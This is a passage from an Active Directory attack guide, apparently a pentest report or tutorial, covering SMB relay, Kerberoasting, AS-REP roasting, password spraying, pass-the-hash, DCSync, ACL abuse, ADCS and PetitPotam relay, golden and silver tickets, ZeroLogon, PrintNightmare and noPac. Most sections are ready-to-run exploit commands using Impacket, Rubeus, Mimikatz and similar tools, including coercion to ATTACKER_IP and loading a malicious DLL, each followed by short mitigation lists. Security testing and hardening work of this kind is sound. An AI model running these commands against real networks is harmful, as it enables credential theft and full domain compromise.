Hashes\nbash\n# Save hash to file (NTLMv2 format)\nhashcat -m 5600 responder_hash.txt /usr/share/wordlists/rockyou.txt -O\nMitigation\nDisable LLMNR and NBT-NS via Group Policy\n\nEnable Network Access Control\n\nRequire SMB signing\n\nAttack 3: SMB Relay Attack\nDescription\nInstead of cracking captured hashes, you can relay them directly to another machine to authenticate. If the target machine has SMB signing disabled, you can execute commands or dump SAM hashes.\n\nPrerequisites\nTarget must have SMB signing disabled\n\nCaptured hash must be from a user with admin privileges on target\n\nCommands\nCheck for SMB Signing Disabled:\n\nbash\nnmap --script=smb2-security-mode.nse -p445 192.168.1.0/24\nStart NTLM Relay (single target):\n\nbash\nntlmrelayx.py -t 192.168.1.20 -smb2support\nRelay to Multiple Targets:\n\nbash\nntlmrelayx.py -tf targets.txt -smb2support\nExecute Command via Relay:\n\nbash\nntlmrelayx.py -t 192.168.1.20 -smb2support -c \"whoami\"\nGenerate Interactive Shell:\n\nbash\n# Start relay with reverse shell\nntlmrelayx.py -t 192.168.1.20 -smb2support -i\n# Then connect to the interactive shell\nnc 127.0.0.1 11000\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 3: ntlmrelayx.py successfully relaying to target and dumping SAM]\n\nCaption: Successful SMB relay attack dumping local SAM hashes from target 192.168.1.20\nMitigation\nEnable SMB signing on all systems\n\nDisable NTLM authentication where possible\n\nImplement SMB over QUIC for modern environments\n\nAttack 4: Kerberoasting\nDescription\nAny authenticated domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any service account with a Service Principal Name (SPN). The TGS is encrypted with the service account's NTLM hash, allowing offline cracking.\n\nTools Used\nGetUserSPNs.py (Impacket)\n\nRubeus.exe (Windows)\n\nPowerView\n\nCommands\nLinux - Extract all SPNs:\n\nbash\npython3 GetUserSPNs.py -dc-ip 192.168.1.10 corp.local/jsmith:Password123 -request\nSave Hashes for Cracking:\n\nbash\npython3 GetUserSPNs.py -dc-ip 192.168.1.10 corp.local/jsmith:Password123 -request -outputfile kerberoast_hashes.txt\nCrack with Hashcat:\n\nbash\n# Mode 13100 = Kerberos 5 TGS-REP (etype 23)\nhashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -O\nWindows - Using Rubeus:\n\npowershell\n# Request all SPNs\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# Request specific SPN\nRubeus.exe kerberoast /spn:\"MSSQLSvc/sql.corp.local\" /nowrap\nUsing PowerView:\n\npowershell\n# Find all SPNs\nGet-DomainUser -SPN | Select-Object samAccountName, ServicePrincipalName\n\n# Request TGS\nGet-DomainUser -SPN | Request-SPNTicket\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 4: GetUserSPNs.py output with hash for svc_sql account]\n\nCaption: Kerberoasting attack successfully extracts TGS ticket for svc_sql account\nMitigation\nUse long, complex passwords (25+ characters) for service accounts\n\nUse Group Managed Service Accounts (gMSA)\n\nMonitor Event ID 4769 for unusual TGS requests\n\nAttack 5: AS-REP Roasting\nDescription\nAccounts with \"Do not require Kerberos preauthentication\" enabled will respond to authentication requests with an AS-REP message encrypted with the user's password hash. This attack requires NO valid credentials.\n\nCommands\nFind and Roast All Vulnerable Users:\n\nbash\npython3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\nTarget a Specific User:\n\nbash\npython3 GetNPUsers.py corp.local/jsmith -request -format hashcat\nCrack AS-REP Hashes:\n\nbash\n# Mode 18200 = Kerberos 5 AS-REP (etype 23)\nhashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O\nWindows - Using Rubeus:\n\npowershell\n# Find users with preauth disabled\nRubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 5: GetNPUsers.py successfully retrieving AS-REP hash for user 'svc_backup']\n\nCaption: AS-REP Roasting attack retrieves crackable hash without any authentication\nMitigation\nAudit accounts with preauthentication disabled\n\npowershell\nGet-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth\nEnable preauthentication on all accounts\n\nMonitor Event ID 4768 with error code 0x0\n\nAttack 6: Password Spraying\nDescription\nInstead of brute-forcing one account, password spraying attempts one common password against many accounts. This stays under the lockout threshold.\n\nCommands\nUsing CrackMapExec:\n\nbash\nnetexec smb 192.168.1.10 -u users.txt -p 'Winter2025!' --continue-on-success\nUsing DomainPasswordSpray.ps1:\n\npowershell\nImport-Module .\\DomainPasswordSpray.ps1\nInvoke-DomainPasswordSpray -Password Winter2025!\nUsing Kerbrute:\n\nbash\n# Password spray using Kerberos\nkerbrute passwordspray -d corp.local --dc 192.168.1.10 users.txt \"Winter2025!\"\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 6: CrackMapExec successful password spray finding valid credentials]\n\nCaption: Password spray discovers valid credentials for multiple users\nMitigation\nImplement Azure AD Password Protection\n\nUse Fine-Grained Password Policies for privileged accounts\n\nEnable SIEM alerting for distributed failed authentication\n\nAttack 7: Pass-the-Hash (PtH)\nDescription\nWindows NTLM authentication allows authentication using only the hash of a password. Once an NTLM hash is obtained, an attacker can authenticate without ever knowing the plaintext password.\n\nCommands\nUsing CrackMapExec:\n\nbash\nnetexec smb 192.168.1.20 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c\nUsing Impacket:\n\nbash\n# Using psexec\npython3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\n\n# Using wmiexec\npython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\n\n# Using smbexec\npython3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\nWindows - Using Mimikatz:\n\npowershell\n# Pass the hash\nsekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 7: psexec.py successful pass-the-hash attack gaining shell]\n\nCaption: Pass-the-Hash attack successfully creates remote shell using only NTLM hash\nMitigation\nEnable Protected Users group for privileged accounts\n\nImplement Credential Guard (VBS)\n\nEnforce tiered administration models\n\nDisable NTLM where possible\n\nAttack 8: DCSync Attack\nDescription\nIf an account has \"Replicating Directory Changes\" permissions, it can impersonate a Domain Controller and request replication of AD data, including password hashes for ANY account, including krbtgt and Domain Admins.\n\nCommands\nDump Specific User Hash:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc-user krbtgt\nDump All NTLM Hashes:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc-ntlm\nDump Entire NTDS.dit:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc\nUsing Mimikatz (if on DC or with appropriate rights):\n\npowershell\nlsadump::dcsync /user:krbtgt\nlsadump::dcsync /domain:corp.local /user:administrator\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 8: secretsdump.py successful DCSync extracting krbtgt hash]\n\nCaption: DCSync attack extracts krbtgt hash, enabling Golden Ticket creation\nMitigation\nRestrict replication rights to only Domain Controllers\n\nAudit DCSync rights using BloodHound\n\npowershell\n(Get-Acl \"AD:\\DC=corp,DC=local\").Access | Where-Object { $_.ActiveDirectoryRights -match \"DS-Replication\" }\nMonitor Event ID 4662 for replication access\n\nAttack 9: ACL Abuse & BloodHound\nDescription\nActive Directory objects have Access Control Lists that can be misconfigured. A helpdesk account might have GenericAll on a Domain Admin account, or WriteDACL allowing modification of permissions.\n\nCommands\nCollect Data with BloodHound.py:\n\nbash\nbloodhound-python -u jsmith -p Password123 -d corp.local -dc 192.168.1.10 -c All --zip\nCollect Using SharpHound (Windows):\n\npowershell\n# Ingest all data\nSharpHound.exe -c All\n\n# With specific domain controller\nSharpHound.exe -c All -d corp.local -dc dc.corp.local\nAbuse GenericWrite to Add to Group:\n\npowershell\nAdd-DomainGroupMember -Identity \"Domain Admins\" -Members \"jsmith\"\nAbuse WriteDACL to Grant DCSync Rights:\n\npowershell\nAdd-DomainObjectAcl -TargetIdentity \"DC=corp,DC=local\" -PrincipalIdentity jsmith -Rights DCSync\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 9: BloodHound GUI displaying attack path from user to Domain Admin]\n\nCaption: BloodHound visualization shows shortest path to Domain Admin via ACL misconfigurations\nMitigation\nRun BloodHound defensively on a schedule\n\nAudit all non-default ACL entries\n\nImplement tiered administration\n\nUse tools like ADACLScanner for bulk reporting\n\nAttack 10: Unconstrained Delegation Attacks\nDescription\nWhen a computer has unconstrained delegation enabled, it stores TGTs of any user that authenticates to it. By coercing a Domain Controller to authenticate (via PrinterBug or PetitPotam), the attacker can capture a Domain Admin TGT.\n\nCommands\nFind Systems with Unconstrained Delegation:\n\npowershell\n# Using PowerView\nGet-DomainComputer -Unconstrained | Select-Object samAccountName, dnshostname\n\n# Using AD PowerShell\nGet-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, ServicePrincipalName\nMonitor for TGTs with Rubeus:\n\npowershell\nRubeus.exe monitor /interval:5 /nowrap\nCoerce Authentication with PrinterBug:\n\nbash\npython3 printerbug.py corp.local/username:password@TARGET_DC_IP VICTIM_IP\nExtract TGT and Pass-the-Ticket:\n\npowershell\nRubeus.exe ptt /ticket:\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 10: Rubeus monitoring captures Domain Admin TGT after coercion]\n\nCaption: Unconstrained delegation attack captures DC TGT, granting Domain Admin access\nMitigation\nAvoid unconstrained delegation entirely\n\nUse constrained delegation or RBCD with explicit restrictions\n\nAudit for TrustedForDelegation accounts\n\nAttack 11: ADCS Attacks (Certified Pre-Owned)\nDescription\nActive Directory Certificate Services (AD CS) misconfigurations allow attackers to request certificates for arbitrary users, including Domain Admins, leading to complete domain compromise.\n\nCommands\nEnumerate AD CS with Certipy:\n\nbash\n# Find vulnerable templates\ncertipy-ad find -u jsmith@corp.local -p Password123 -dc-ip 192.168.1.10\n\n# Save output\ncertipy-ad find -u jsmith@corp.local -p Password123 -vulnerable -output adcs_enum\nRequest Certificate via Vulnerable Template:\n\nbash\ncertipy-ad req -u jsmith@corp.local -p Password123 -ca CORP-DC-CA -template User -dc-ip 192.168.1.10\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 11: Certipy find output showing vulnerable certificate templates]\n\nCaption: Certipy enumerates AD CS and identifies ESC1 vulnerability (Client Authentication template)\nMitigation\nDisable vulnerable certificate templates\n\nEnforce manager approval for sensitive templates\n\nImplement certificate auditing\n\nAttack 12: PetitPotam & NTLM Relay to ADCS\nDescription\nPetitPotam coerces a Domain Controller to authenticate to an attacker-controlled server. Combined with NTLM relay to ADCS HTTP endpoints, this yields a certificate for the DC, allowing DCSync and full domain compromise.\n\nPrerequisites\nAD CS server with Web Enrollment enabled\n\nDomain Controller unpatched for CVE-2021-36942\n\nCommands\nSetup NTLM Relay to ADCS:\n\nbash\npython3 ntlmrelayx.py -debug -smb2support --target http://adcs.corp.local/certsrv/certfnsh.asp --adcs --template DomainController\nRun PetitPotam to Coerce DC:\n\nbash\npython3 PetitPotam.py ATTACKER_IP DC_IP\nExtract Certificate (Linux):\n\nbash\n# Save base64 certificate\ncat base64 | base64 -d > certificate.pfx\n\n# Request TGT with PKINIT\npython3 gettgtpkinit.py corp.local/DC01$ -cert-pfx certificate.pfx out.ccache\n\n# Set cache\nexport KRB5CCNAME=out.ccache\n\n# DCSync using TGT\npython3 secretsdump.py -k -no-pass corp.local/DC01\\$@DC01.corp.local\nWindows Alternative using Rubeus:\n\npowershell\n# Request TGT from certificate\nRubeus.exe asktgt /user:DC01$ /certificate: /ptt\n\n# DCSync\nmimikatz \"lsadump::dcsync /user:krbtgt\"\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 12: PetitPotam coercing DC to authenticate to ntlmrelayx]\n\nCaption: PetitPotam forces Domain Controller authentication, captured by ntlmrelayx\nMitigation\nApply Microsoft patch KB5005413\n\nDisable NTLM on AD CS servers\n\nEnable EPA (Extended Protection for Authentication)\n\nAttack 13: Kerberos Golden/Silver Tickets\nDescription\nWith the krbtgt hash, attackers create Golden Tickets - valid TGTs for ANY user (including non-existent ones). Silver Tickets target specific services using service account hashes.\n\nGolden Ticket Commands\nUsing Mimikatz:\n\npowershell\n# Create Golden Ticket for Domain Admin\nkerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:HASH /id:500 /ptt\n\n# Create Golden Ticket with custom expiry\nkerberos::golden /user:EvilAdmin /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt\nUsing Impacket (Linux):\n\nbash\npython3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain corp.local Administrator\nexport KRB5CCNAME=Administrator.ccache\nSilver Ticket Commands\nCreate Silver Ticket for CIFS Service:\n\npowershell\nkerberos::golden /user:EvilUser /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /target:DC01.corp.local /service:cifs /rc4:MACHINE_ACCOUNT_HASH /ptt\nAccess DC with Silver Ticket:\n\nbash\n# Using the ticket to access CIFS\npython3 psexec.py -k corp.local/EvilUser@DC01.corp.local\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 13: Mimikatz Golden Ticket creation and successful psexec to DC]\n\nCaption: Golden Ticket allows complete Domain Controller access without valid credentials\nMitigation\nRotate krbtgt password twice (after DC compromise)\n\nEnable KRBTGT password rotation automation\n\nMonitor for anomalous TGT requests (Event ID 4768)\n\nLimit lifetime of Kerberos tickets\n\nAttack 14: ZeroLogon (CVE-2020-1472)\nDescription\nA critical vulnerability in Netlogon protocol (MS-NRPC) allows attackers to set the machine account password of a Domain Controller to an empty string, then DCSync as that DC.\n\nCommands\nCheck if Vulnerable:\n\nbash\npython3 zerologon_tester.py DC01 192.168.1.10\nExploit to Change DC Password:\n\nbash\npython3 cve-2020-1472-exploit.py DC01 192.168.1.10\nAfter Exploit - DCSync:\n\nbash\npython3 secretsdump.py corp.local/DC01\\$@192.168.1.10 -no-pass\nRestore Original Password (Critical!):\n\nbash\n# Extract original password hash from DCSync results\npython3 restorepassword.py DC01@DC01.corp.local -target-ip 192.168.1.10 -hexpass ORIGINAL_HASH\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 14: ZeroLogon exploit successfully changing DC machine account password]\n\nCaption: ZeroLogon vulnerability exploited, enabling DCSync with empty password\nMitigation\nApply Windows updates from August 2020\n\nEnable enforced Netlogon signing\n\nMonitor for Event ID 5829, 5830, 5831\n\nAttack 15: PrintNightmare (CVE-2021-1675)\nDescription\nThe Print Spooler service on Windows allows remote attackers to execute arbitrary code with SYSTEM privileges. This affects Domain Controllers and member servers.\n\nCommands\nRemote DLL Injection Exploit:\n\nbash\n# Using CVE-2021-1675.py\npython3 CVE-2021-1675.py corp.local/username:password@TARGET_IP /path/to/malicious.dll\nUsing Impacket Version:\n\nbash\npython3 printerbug.py -dll /path/to/malicious.dll corp.local/username:password@TARGET_IP\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 15: PrintNightmare exploitation yielding SYSTEM shell on DC]\n\nCaption: PrintNightmare vulnerability exploited to gain SYSTEM privileges on Domain Controller\nMitigation\nDisable Print Spooler service on Domain Controllers\n\nApply Microsoft security patches\n\nImplement print service hardening\n\nAttack 16: noPac (CVE-2021-42278/CVE-2021-42287)\nDescription\nA chain of two vulnerabilities affecting all Windows Domain Controllers. It allows a standard domain user to impersonate a Domain Controller and request a TGT for Domain Admin.\n\nCommands\nUsing noPac.py:\n\nbash\n# Request Service Ticket to domain controller\npython3 noPac.py corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -dc-host DC01.corp.local -shell --impersonate Administrator\n\n# Or with hash\npython3 noPac.py corp.local/jsmith -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c -dc-ip 192.168.1.10\nManual Exploitation with Rubeus:\n\npowershell\n# Add machine account\nAdd-MachineAccount -MachineAccount EvilPC -Password Password123\n\n# Clear SPNs\nSet-ADComputer EvilPC -ServicePrincipalNames @{}\n\n# Change hostname to DC\nSet-ADComputer EvilPC -DnsHostname DC01.corp.local\n\n# Request TGT\nRubeus.exe asktgt /user:EvilPC$ /password:Password123 /domain:corp.local /dc:DC01.corp.local /nowrap\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 16: noPac.py successfully obtaining DA shell from standard user]\n\nCaption: noPac attack chain escalates from low-privilege user to Domain Admin shell\nMitigation\nApply Microsoft patches (October 2021 and later)\n\nMonitor for computer account name changes (Event ID 4742)\n\nImplement PAC validation\n\nTools Reference Summary\nTool\tPurpose\tSource\nResponder\tLLMNR/NBT-NS poisoning\tKali default\nImpacket Suite\tVarious AD attacks\tpipx install impacket\nBloodHound\tAttack path mapping\tKali default\nRubeus\tKerberos abuse\tGitHub\nMimikatz\tCredential extraction\tGitHub\nCrackMapExec (netexec)\tSwiss Army knife for AD\tKali default\nCertipy\tAD CS enumeration/abuse\tsudo apt install certipy-ad\nKerbrute\tUser enumeration\tKali default\n", "creation_timestamp": "2026-05-31T23:19:52.000000Z"}]}